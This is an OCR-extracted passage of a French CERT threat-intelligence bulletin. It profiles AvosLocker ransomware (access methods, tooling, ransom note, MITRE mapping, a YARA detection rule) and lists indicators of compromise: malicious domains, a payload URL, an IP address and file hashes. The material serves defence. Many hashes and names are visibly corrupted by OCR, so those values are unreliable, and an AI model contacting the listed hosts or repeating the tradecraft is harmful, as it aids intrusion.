TLP:CLEAR SHATIARTEFACT d9a2ae9f5cffba0d969ef8edbbf59dc50586df00 | jpeg.Ink

LP:CLEA

SHATI ARTEFACT

381bf78bb4fcdf4e21e6e927edd924ba01fdf03d | jpeg.Ink

LP:CLEA

SHATIARTEFACT

4c24d0fc57633d2befaac9ac5706cbc163df747¢ | defbahk.Ink

LP:CLEA

SHATI ARTEFACT

9253eed158079b5323d6f030e925d35d47756¢10 | name.ps

LP:CLEA

SHATIARTEFACT

0e7b5d0797¢c369dd1185612f92991f41bl1a7bfa2 | wghcbp.vbs

LP:CLEA

SHATI ARTEFACT

7d3f4c9a43827bff3303bf73ddbb694f02cc7ecc | Folkevognsrugbrd.exe

LP:CLEA

SHATIARTEFACT

e47086abe1346c40f58d58343367fd72165ddecd | UpdatePaymentsMethod.txt.vbs

poll | 2ol (2o | ool | ool | oOA | oY)

LP:CLEA

SHATI ARTEFACT

42fe509513cd0c026559d3daf491a99914fcc45b | NewAgreementsOperationSystem.pdf www.skype.7z

TLP:CLEAR SHA1I ARTEFACT 93cbh5837a1450688982b95fab297ebdbaf3016bc | NewAgreementsOperationSystem.pdf www|.]skype[.]vbs
[TLP:CLEAR SHATIARTEFACT f7b9569a536514e70b6640d74268121162326065 | TransactionRefundPaymentsList.pdf www.skype.vbs
TLP:CLEAR SHATI ARTEFACT d40c7afee0dd3877bbe894bc9f357b50e002b7e2 | NewPaymentsMerchantBanks.pdf www.skype.vbs

LP:CLEA

SHATI ARTEFACT

1f550b3b5f739b74cc5fd1659d63b4a22d53a3fc | FXNovusAgreements.pdf www.skype (1).vbs

LP:CLEA

SHATIARTEFACT

3229a36f803346c513dbb5d6fe311d4cb2f4dabl | VooZAZANewOffer2023.pdf www.skype.vbs

LP:CLEA

SHATI ARTEFACT

6585e15d53501c7f713010a0621099e9097064ff | information-BGaming 30-06-2023.pdf www.skype..vbs

LP:CLEA

SHATIARTEFACT

001e4eacb4dd4s7fa9f49ff20b5a83d3542ad6ba2 | PaymentsModulelntegration.pdf www.skype.com (1).vbs

LP:CLEA

SHATI ARTEFACT

ad1667eaf03d3989e5044faa83f6bb95a023e269 | NewMultiaccountSystemOffer.pdf www.skype.vbs

LP:CLEA

SHATIARTEFACT

a3516b2bb5c60b23b4b41f64e32d57b5b4c33574 | AlbForexNewListProfit.pdf www.skype.vbs

poll | 2o (2o | ooh | 2oX | 2oA | oY)

LP:CLEA

SHATI ARTEFACT

e6347dfdaf3f1e26d55fc0ed3ebf09b8e8d60b3f | NewBankinformationTrading.pdf www.skype.vbs

_|

LP:CLEA

po)

SHATIARTEFACT

3cbbdfc83c4ef05c0f5¢c37¢99467958051f4a0el | MatchPrimeTradingReportinvoice.pdf www.skype.vbs

_|

LP:CLEA

0

SHATI ARTEFACT

f3a740eate04d970c37d82617f0500f209f72789 | FinanceReportNewProject.pdf www.skype (1).vbs

aovens

CERT aDvens - CTI | PN GHouFN | 2023-10-31




CERT aDvens / Renseignement sur les menaces : Bulletin du mois d’ octobre 2023
3.10. Indicateurs de Compromission

TLP TYPE VALEUR

SHA11 ARTEFACT ebek4c7c2c2c8e370a0ec6ddb5d998¢150dcbIf10 | IntegrationTrafficList.pdf www.skype.vbs
SHATIARTEFACT 45a89d03016695ad87304a0dfd04648e8dfeac8f | PlaynGoNewlIntegrationSystem.vbs
TLP CLEAR Domaine msteamseyeappstore.com

TLP CLEAR Domaine Drkgatevservicceoffice.net

Domaine reactervnamnat.com

Domaine coocooncookiedpo.com

Domaine wmnwserviceadsmark.com

Domaine onlysportsfitnessam.com

TLP CLEAR Domaine marketisportsstumi.win

TLP CLEAR URL hxxp://corialopolova.com/vHdLtiAzZYCsHszzP118[.]bin

URL 5.188.87.58:2351/igryhosg

TLP CLEAR P 5.188.87.58
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4. AvoslLocker

4.1. Introduction

Le 11 octobre 2022, le FBI et I'agence américaine Cybersecurity and Infrastructure Security Agency (CISA) publient un avis de
cybersécurité conjoint (CSA) concernant les dernieres informations acquises concernant le rangongiciel AvosLoker. Apparu en
juin 2021, AvosLoker est un rangongiciel qui s’est rapidement fait remarquer, notamment dans les milieux cybercriminels, pour son
detournement d’outils legitimes tels que AnyDesk.

Ce rangongiciel se développe sous le modéle commercial RaaS (Ransomware as a service) en proposant un systeme d'affiliation.
Développe en C++, il est capable de cibler non seulement les systemes Windows, mais également les systemes Linux ainsi que les
environnements virtualises comme VMware ESXi.

4.2. VVictimologie

AvosLoker a été lie a des attaques contre des secteurs d'infrastructures critiques, des services financiers des infrastructures de
sante ou des organisations gouvernementales.

Les cibles se repartissent sur toute la surface du globe avec les pays ciblés suivants : Belgique, Canada, Chine, Allemagne, Arabie
Saoudite, Espagne, Syrie, Taiwan, Turquie, Emirats arabes unis et Royaume-Uni.

Plusieurs attaques notables ont été le fait de ce rangongiciel :

- En avril 2022, AvoslLoker attaque le systeme de sante McKenzie et divulgue des données confidentielles sur leur portail
vitrine. McKenzie Health System a signalé cette attaque au Département de la santé et des services sociaux des Etats-Unis
etrévelé unincident de securité concernant un serveur réseau.

- Enmai 2022, AvoslLoker revendique la responsabilite d’'une cyberattaque contre CHRISTUS Health, une organisation de santé
basée au Texas. Les attaquants ont dérobe des informations provenant d’un registre de patients atteints de cancer, incluant
les noms, les numeéros de sécurité sociale, les diagnostics, les dates de naissance, et d’autres informations medicales
sensibles.

<« c @ » - .onion 80% e W O ¥ =

¢ AvosLocker
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Figure 10. Portail AvosLocker
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43.TTPs

4.5. TTPs

AvoslLoker a évolue pour cibler les systemes Linux et ESXi, en particulier les fichiers du systéeme de fichiers de machine virtuelle
(VMFS), permettant ainsi un chiffrement plus rapide et plus simple de plusieurs serveurs avec une seule commande.

4.3.1. Accés initial

Les acteurs de la menace utilisent des campagnes de courriels d’hamegonnage comme vecteur d’infection initial. s exploitent
également des vulnérabilités tels que Zoho ManageEngine ADSelfService Plus (CVE-2021-40539) et plusieurs vulnérabilités
ProxyShell, CVE-2021-31207, CVE-2021-34523, et CVE-2021-34473, dans le but d’acceéder aux systemes et réseaux des victimes.

AvoslLoker est par ailleurs capable d’accéder a distance aux systémes visés, méme en mode sans échec. Les attaquants utilisent
egalement des outils d’administration systeme a distance comme Splashtop Streamer, Tactical RMM, PuTTY, AnyDesk, PDQ
Deploy, et Atera Agent qui servent ainsi de vecteurs d’acces en arriere-plan. Dans cette optique de connexion & distance, les
acteurs malveillants peuvent ouvrir divers ports afin d’établir des connexions RDP, notamment les ports 28035, 32467, 41578 et
46892.

4.3.2. Exécution

Les affilies d'AvosLoker se servent de logiciels legitimes et d’outils open source lors de la phase de I'exécution de I'opération :

- Des scripts pour executer des outils natifs Windows legitimes comme PsExec et Nltest.
- Des outils de tunnellisation réseau open source comme Ligolo et Chisel.

- Cobalt Strike et Sliver pour lacommande et le controle (C2).

- Lazagne et Mimikatz pour la collecte de credentials.

+ Notepad++, RDP Scanner, et 7zip pour diverses fonctionnalités suppléementaires.

Lors d'une campagne menée en 2022, les attaquants ont utilisé des scripts PowerShell chiffrées a l'aide de la méthode
"DownloadString”, ainsi que des scripts batch (.bat) personnalisés pour le mouvement latéral, I'élévation de privileges et la
désactivation des logiciels antivirus. lls téléchargent et utilisent des webshells personnalisés pour activer I'accés au réseau.

Les acteurs malveillants ont également détourné I'outil de Managmenet Windows (WMIC) afin de modifier les paramétres
d’administration dans le but d’opérer un mouvement latéral a la suite d’'une élévation de privileges.

Dans un souci de persistance AvoslLocker a été observe dans un fichier nomme d’apres I'entreprise ciblee.

Une etape cruciale de l'infection est enfin la creation d’'une clé "RunOnce" dans le registre qui execute la charge utile du
rangongiciel sans fichier, a partir de 'emplacement ou les attaquants I'ont placée sur le controleur de domaine.

4.3.3. Chiffrement et exfiltration

Fideles & leurs méthodes, les attaquants détournent les outils légitimes FileZilla et Rclone pour I'exfiltration des données. lIs
utilisent egalement des extensions specifiques comme ".avos” ou ".avos2" pendant le processus de chiffrement de type AES-256
et déposent une note de rangon sur le systeme cible.
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4.4. Recommandations

AvoslLocker

Your network and hard drives were encrypted using AES-256 military grade encryption.
AvosLocker will aid you in the recovery and restoration of the files affected.
Please enter your ID (presented to you in the note) in order to continue.

Failure to contact us in due time might incur additional charges and damages.

Attention!

Your files have been encrypted using AES-256.

We highly suggest not shutting down your computer in case encryption process is not
finished, as your files may get corrupted.

In order to decrypt your files, you must pay for the decryption key & application.

You may do so by visiting us at

This is an onlon address that you may access using Tor Browser which you may download at
https://www.torproject.org/download/

Details such as pricing, how long before the price increases and such will be available to
you once you enter your ID presented to you below in this note in our website.

Hurry up, as the price may increase in the following days.

Message from agent: If you fail to respond in 4 days, the cost of decryption will double up
and we will leak some of your data. In 10 days, we will Lleak all the data we have.

Figure 11. Note de rangon AvosLocker

4.3.4. Impact

Une fois 'attaque reussie, les attaquants publient les noms de leurs victimes sur leur site de fuite de données héberge sur le
reseau TOR, et mettent les données exfiltrées en vente.

4.4, Recommandations

Afin de prévenir les attaques par rangongiciels du type d’AvoslLoker plusieurs preconisations sont a appliquer :

- Sécurisation des outils d’accés a distance.
- Restriction RDP et autres services de bureau a distance.
- Sécurisation PowerShell et/ou restriction de son utilisation.

De maniere plus générale, il est recommandé :

- De mettre a jour les logiciels utilisés a la derniere version et appliquer regulierement des mises a jour de correctifs.
- De former les partenaires sur les dangers des rangongiciels et les initier a reconnaitre les tentatives d’hamegonnage.
- De maintenir les systemes, logiciels et firmware & jour avec les dernieres mises a jour de securite.

- D’effectuer des sauvegardes regulieres de toutes les données importantes et de les stocker dans un emplacement sir.

4.5. Conclusion

Il est & noter que les cybercriminels derriére AvoslLoker continuent d’ajouter du nouveau code pour faire évoluer leur service
Ransomware-as-a-Service (RaaS), suggérant que des améliorations sous la forme de nouvelles variantes d'AvoslLoker pourraient
apparaitre dans les prochains mois.
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4.6. Matrice Mitre

4.6. Matrice Mitre

INITIAL ACCESS

T1190 Exploit public-facing application. T1078 Valid accounts.

EXECUTION

T1059 Command and scripting interpreter. T1072 Software deployment tools. T1106 Native API

PERSISTENCE

T1136 Create account T1547 Boot or logon autostart execution

DEFENSE EVASION

T1112 Modify registry. T1562 Impair defenses. T1140 Deobfuscate/Decode files or information. T1070 Indicator removal on host.
T1027 Obfuscated file or Information

CREDENTIAL ACCESS

T1003 OS credential dumping. T1552 Unsecured Credentials. T1055 Credentials from password stores.

DISCOVERY

T1083 File and Directory Discovery. T1135 Network Share Discovery. T1057 Process Discovery. T1018 Remote System Discovery.

LATERAL MOVEMENT

T1021 Remote Services. T1072 Software deployment tools

COMMAND AND CONTROL

T12192 Remote Access software.

EXFILTRATION

T1041 Exfiltration Over C2 Channel.
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4.7.Regle de détection Yara

4.7. Régle de détection Yara

rule NetMonitor

{

meta:
author = "FBI"
source = "FBI"
sharing = "TLP:CLEAR"
status = "RELEASED"
description = "Yara rule to detect NetMonitor.exe"
category = "MALWARE"
creation_date = "2023-05-05"
strings:

Srcdkey = {11 4b 8c dd 65 74 22 c3}
Sop0 = {c6 [3] 00 00 05 c6 [3] 00 00 07 83 [3] 00 00 05 Of 85 [4] 83 [3] 00 00 01 75 2? 8b [2] 4c 8d [2]
4c 8d [3] 00 00 48 8d [3] 00 00 48 8d [3] 00 00 48 89 [3] 48 89 2?7 e8}
condition:
uintl16(0) == 0x5A4D
and filesize < 50000
and any of them

covens CERT aDvens - CT! | [{NalOy | 2023-10-31 26



CERT aDvens / Renseignement sur les menaces : Bulletin du mois d’ octobre 2023
4 8. Indicateurs de Compromission

4.8. Indicateurs de Compromission

TLP TYPE VALEUR COMMENTAIRES
Fichier psscriptpolicytest_im2hdxqi.g0k.ps1
Fichier psscriptpolicytest_lysyd03n.010.ps1
Fichier psscriptpolicytest_1bokrh3l.2nw.ps1
Fichier psscriptpolicytest_nvuxlihd.fs4.psi
Fichier psscriptpolicytest_2by2p21u.4ej.psi
Fichier psscriptpolicytest_te5sbsfv.new.psi
TLP:CLEAR Fichier psscriptpolicytest_v3etgbxw.bmm.psi
TLP:CLEAR Fichier psscriptpolicytest_fga24ixq.dtc.ps1
TLP:CLEAR Fichier psscriptpolicytest_jzjombgn.sol.ps1
Fichier psscriptpolicytest_rdmb5qyy1.phg.ps1
Fichier psscriptpolicytest_endvm2zz.qlp.ps1
Fichier psscriptpolicytest_simgcgdk.25n.psi
Fichier psscriptpolicytest_xnjvzu5o.fta.psi
Fichier psscriptpolicytest_satzbifj.oli.ps1
Fichier psscriptpolicytest_grjck50v.nyg.ps1
Fichier psscriptpolicytest_0Obybivfe.x1t.ps1
TLP:CLEAR Fichier psscriptpolicytest_bzoicrns.kat.ps1
[TLP:CLEAR MD5 829f2233alcd77e9ec7de98596¢cd8165
TLP:CLEAR MD5 6ebd7d7473f0ace3f52c483389cab93f
MD5 10ef090d2f4c8001faadb0a833d60089
MD5 8227af68552198a2d42de51cded2ce60
MD5 9d0b3796d1d174080cdfdbd4064bea3a
MD5 af31b5a572b3208f81dbf42f6c143f99
MD5 1892bd45671f17€9f7f63d3ed15e348e
MD5 cc68eaf36ch90c08308ad0ca3abel7cl
MD5 646dc0b7335cffb671ae3dfdlebefes?
TLP:CLEAR MD5 609a925fd253e82c80262bad31637f19
TLP:CLEAR MD5 c6a667619fffocf44f447868d8edd681
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4.8. Indicateurs de Compromission

TLP TYPE VALEUR COMMENTAIRES

MD5 3222c60b10e5a7c3158fd1cb3f513640

MD5 90ce10d9aca909a8d2524bc265ef2fak

MD5 44a3561fb9e877a2841de36a3698abc0

MD5 5cb3f10db11e1795¢49ec6273¢52b5f1

TLP:CLEAR MD5 122ea6581a36f14ab5ab65475370107e

TLP:CLEAR MD5 c82d7be7afdc9f3a0e474f019fb7b0f7

TLP:CLEAR) SHA256 e68f9c3314beeeb40cc32f08a8532aa8dcdab13543c54a83680c21d7cd49calf

SHA256 ad5fd10aa2dc827313885553763dfd4548651ef3e28c69f77ad035166d63db7

SHA256 48dd7d519dbb67b7a20b2747729fc46e5832¢30cafe15f76c1dbe3a249e5€731

SHAT 2d1ce0231cf8ffa67c36bbfcI31f3807ddba765¢ PowerShell backdoor

Mail keishagrey994@outlook[.]Jcom

SHA256 abdedd35ad745641c52d6a9f8dalfb09101d152f01b4b0e85a64d21c2a0845ee Portefeuilles cryptomonnaies
SHA256 bfacebcafff00b94ad2bffo6b718a416c353a4ae223aa47d4202cdbc31e09¢92 Portefeuilles cryptomonnaies
TLP:CLEAR SHA256 418748c1862627cf91e829c64df9440d19f67f8a7628471d4b3abcc5696944dd Portefeuilles cryptomonnaies
TLP:CLEAR SHA1 bc1lgnOu8un00NnI6uzbuqrw7p50rg86gjrx492jkwin Portefeuilles cryptomonnaies
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